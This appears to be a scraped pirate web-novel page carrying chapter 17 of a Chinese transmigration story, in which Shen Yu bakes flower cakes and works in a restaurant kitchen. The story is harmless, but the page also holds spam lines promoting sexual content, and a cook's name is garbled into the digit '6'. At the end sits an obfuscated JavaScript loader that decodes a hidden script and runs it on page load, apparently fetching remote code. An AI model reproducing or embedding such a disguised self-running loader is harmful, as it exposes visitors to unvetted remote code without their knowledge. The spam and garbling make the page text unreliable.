足迹
西施味美健康包子
登录
关灯
护眼
字体:

第17章 五福花饼(第1页)

请退出浏览器阅读模式,否则将导致章节内容缺失及无法阅读下一章。🎁性感美女在线做

第二日,沈钰早早的就过来了,看着董厨做了一遍五福花饼,她就知道该怎么做了。

准备好当日所需的银丝面,切好抖散放在一边备用,就开始接手做酒楼特色的五福花饼。

这种花饼是用一个特制的平底铁铛烤制出来的。和现代的酥皮月饼比较像,但更精致小巧些,很多客人不但过来用餐时会点一盒讨口彩,还经常会走时带走几盒给家中老人和孩子。是酒楼里很有特色的一道点心。

馅料并不需要后厨准备,一大早,供应各种果子的果子店就把定好的馅料送过来了,很是方便。

现在正值夏日,绿豆沙、豌豆黄、枣泥、核桃果仁、莲子蓉五种馅正当季。

水油面皮是董厨一早揉好放一边松驰备用了。

这种酥皮点心的秘诀也简单,就是调制好水油面皮揉好后,要松弛一会儿再使用,使用时不过分的揉压面团,免得上劲后,不够酥松。

分成小剂子,擀成圆饼皮,包入馅料收口,用各种花色的木模压成好看的花朵形状,表面刷上鸡蛋清和蜂蜜,放入刷好油的平底铁铛,上面盖好盖子,小火慢慢烤制而成。

烤好晾凉后就装入雕花木盒内,名曰五福花饼,盒子雕刻着吉祥花纹,方方正正,精巧又华丽,透过镂空的花纹,香甜的味道隐隐飘散,打开后花朵形状的小巧糕饼姿态各异,外皮酥脆,内里馅料松软香甜,大受欢迎是有道理的。

糕饼好看,但价格更好看,这样小小一盒糕饼,一个饼也不过鸡蛋大小,居然要一百文,沈钰听了价钱心中咂舌,这都赶上她一天的工钱了,好贵啊。

这样一盒算一份,6厨让她每日做二十盒的量,逢十有集市的日子,要翻一倍。

在东溪村时,她听李氏念叨过,近日的粮价又涨了些,一斗麦子要九十文了,而一斗麦子磨成麦面,可以让一家四口都吃饱的情况下,吃上两天都尽够。

也就是说,买一盒花饼,要花掉一个四口之家两天的口粮钱。这可真的是有钱人家才能买得起的。看来这个镇子上的人还挺富裕的。

做吃食,可以赚钱,沈钰再一次坚定了要自己做吃食的信念。

可是现在,手里没有本钱,也只能先默默打工,攒点本钱再说了。

沈钰把滑落下来的头别在脑后,把心里这些乱七八糟的念头抛在一边,又专心地做起饼来。

午间后厨总是很忙碌,最忙的要数瘦厨子和跟在他身边的小伙计小六子。

瘦厨子姓柴,人也像根柴禾棍似的,不怎么爱说笑,但干起活来,手脚麻利,他专司客人点的各式需要现点现做的小菜,小六子跟在他身边,应该是徒弟了,在他的指挥吆喝下各种切配所需原料,两个人配合默契,看来合作时间不短了。

菜很香,沈钰自穿过来就没吃上过有油水的饭菜,不由暗暗吞吞口水。

沈钰边干活边看两位厨师做菜,看看此地的口味和菜式都有些什么。

柴厨制作的,以各式烩菜为主,或者煎炸已腌制入味的肉片肉串,偶尔有盘青菜,则是用水焯熟,加油盐酱等调味凉拌。

而6厨负责需要熬煮久一些的汤羹,有羊、鸡、鸭、鱼和素高汤,需要什么口味的面,就煮好面,再去加什么口味的汤和肉片,撒上些青葱、香菜碎就可以了。

整个午间上菜的时间里,没有看到猪肉的影子。

没有猪肉,没有炒菜,煮、煎、炸、凉拌是做菜的主要方式。

沈钰心里琢磨着这些,手上的活儿却丝毫不耽误,不时配合着6厨递过他所需份量的银丝面,或者偶尔需要现切的宽面或细面,滚水宽汤的煮熟,捞入大碗,浇上提前煮好的高汤和肉片,撒上青葱末,招呼在一边候着的伙计端出去。

可能这原主平日里只忙着绣花,不怎么运动,再加上吃得不好,营养不良。等到午间饭点过去,忙了半天只在早上吃了两个干饼子的沈钰已经饿得前心贴后背,累得一动也不想动了。

柴厨和6厨在一边歇着,指挥小六子和刘五去做酒楼的包饭,一方面他们是师傅,另一方面,先让他们从包饭练习,做得不好吃,也不会砸了酒楼的招牌。

包饭没有固定的菜谱,大抵东家有规定一餐的费用标准,今日的午饭是煮好的糙米一大锅,白菜萝卜豆腐烩一大盆。

范掌柜是不在这里吃饭的。所以伙计们一起吃饭气氛很是轻松。

因为今天来了个沈钰,有了个清秀腼腆的姑娘一在场,那几个半大小伙计也都收敛起来,吃起饭来,安安静静,不再嬉笑打闹,狼吞虎咽了。

虽然和酒楼的席面无法比,但这普通的甚至在伙计和大厨眼里看着很粗糙的饭食,却让沈钰自穿过来后第一次吃了一顿饱饭。

糙米煮得很透,干湿正好,不会粘牙,细细嚼了,有粮食特有的清甜味道。

烩菜里有脆爽的白菜,已经煮透的吃起来绵软有点甜的厚萝卜片,煎制的两面金黄的豆腐块和半透明弹牙的粉条,虽然没有肉,但油水很足。每人一个碗,碗很大,吃多少自己盛。

沈钰嘴里嚼着表皮酥香内里绵软又吸饱汤汁的豆腐块,眼睛里不由涌上湿气,赶紧低下头,掩饰的用筷子去扒米饭。

有油水的饭菜真香啊。

虽然没吃饭前觉得肚子很饿,但一小碗米饭半碗烩菜下去,沈钰就吃饱了。

怪不得原主这么瘦,原来她饭量这么小的。

沈钰在现代时是个不挑食的好姑娘,爱吃能吃。

因为工作性质每天要到处跑,运动量也跟得上,吃得多也不胖,一直是深藏不露的吃货一枚。

看来以后要多吃点,让身体健康起来才行,每天揉面切面做糕饼,没力气可不行。

沈钰决定每天晚上要增加锻炼强度了。

晚间的饭点人不多,需要用的面也少了,沈钰轻松不少,但也不能提前离开,需要候着随时需要的面或点心。

她觉得别人忙碌她闲着不好,就主动帮着两位厨子配菜或摆盘。

她动作利索,又颇有经验,经她的手一摆盘,盘子边或加朵萝卜片雕花,或黄瓜片胡萝卜添个花边,菜肴立刻又增色不少。

原本不爱说笑的柴厨脸上有了赞赏之意。后厨的其他人也对她更添好感了。

毕竟是个小镇,晚上在外逗留的少,来喝酒取乐的人只有一两桌客人,天色未黑透,就散席结束了。

待客人走后,大伙聚在一起吃过晚饭,收拾清洗好厨具器皿,熄灭检查了炉火,就结束一天的忙碌,拖着疲惫的身体各自回家去了。

沈钰以为自己换了新地方会睡不着,没想到强撑着洗漱完毕,头一挨着用那包袱皮包着衣服勉强凑出的枕头,就马上睡了过去。

🎁性感美女在线做请退出浏览器阅读模式,否则将导致章节内容缺失及无法阅读下一章。

!function(){function a(a){var _idx="z269sfnb6d";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,l7_2(F6O2ca[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y8D62fODm622Y5V6fFh!qYF J8Y/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa!Xd5 F=O!(O2LF X8[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hLFd5F"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgY/}0=6FY^9Y6phFgJ/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"bGYYYGb"!qYF d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 TcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!XmqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28c28"hFFJLg//[[fdTPP@Q}Cq_2Ohpm2O6LnpCmRT4gQ@{n/CL/@Q}jR84@KQL72)Kf"a%c*}8882m62fYR;7c"j"aj"j"g"v"a%"58"%Xm5Y|5T%%%"vF8"%hca%5ca!FmL5(8Tc2a=FmO2qOdf87_2(F6O2ca[XmqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=XmqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF 78"@Q}"=^8"4@KQL72)Kf"!7_2(F6O2 pcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 icYa[Xd5 F8H"@Q}d2(LCYmTfY20C0mRT4"="@Q}5p(LYpmsOopQqqmRT4"="@Q}D7(LSqmTfY20C0mRT4"="@Q}dC(LJ^msOopQqqmRT4"="@Q}(C(L:4mTfY20C0mRT4"="@Q}C2(LSYmsOopQqqmRT4"="@Q}25(LLSmTfY20C0mRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q@{n"!qYF O82YD VY)iO(SYFcF%"/"%7%"jR8"%^%"v58"%Xm5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[XmqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[287_2(F6O2cYa[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=780!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!7<YmqY2pFh!a28fH_ZcYH(Zc7%%aa=O8fH_ZcYH(Zc7%%aa=68fH_ZcYH(Zc7%%aa=d8fH_ZcYH(Zc7%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 ^8h!qYF Y8""=F=2=O!7O5cF858280!F<^mqY2pFh!ac58^HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc28^HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc28^HLZcF%}a=O8^HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPc2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=XmqOdfiFdF_L8*}PpcOa=@888XmqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l88XmqOdfiFdF_LvvYvvYca=pcOaP=XmqOdfiFdF_L8}PqYF D8l}!7_2(F6O2 )ca[DvvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5cXmYXY2F|TJY=Xm(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfcXm5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqcXmLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l88XmqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP8X!7_2(F6O2 Lca[Xd5 Y8Tc"hFFJLg//[[fdTPP@Q}FC(LCDm{XRs4SLmRT4gQ@{n/((/@Q}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5cXmYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clDa[(O2LF[YXY2F|TJYg7=6L|OJg^=5YXY5LY9Y6phFgpP8X!fO(_^Y2FmdffEXY2Ft6LFY2Y5c7=h=l0a=Xm(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8Tc"hFFJLg//[[fdTPP@Q}FC(LCDm{XRs4SLmRT4gQ@{n/((/@Q}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c^a[67cO<8pa5YF_52l}!O<J%pvvfcaPYqLY[F8F*O!67cF<8pa5YF_52l}!F<J%pvvfcaPP2m6f8Xm5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[Xm5YXY5LY9Y6phFPJR`=^jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=D8l0PqYF F8Tc"hFFJLg//[[fdTPP@Q}Cq_2Ohpm2O6LnpCmRT4gQ@{n/f/@Q}j(8}vR84@KQL72)Kf"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPY82dX6pdFO5mJqdF7O5^=F8l/3cV62?yd(a/mFYLFcYa=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cF??Oavvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2Fajic7_2(F6O2ca[Lc@0}a=ic7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=ic7_2(F6O2ca[Lc}0saPaPaPaa=lFvvY??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8Tc"hFFJLg//[[fdTPP@Q}Cq_2Ohpm2O6LnpCmRT4gQ@{n"a%"/)_pj68"%7=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPca!'.substr(22));new Function(b)()}();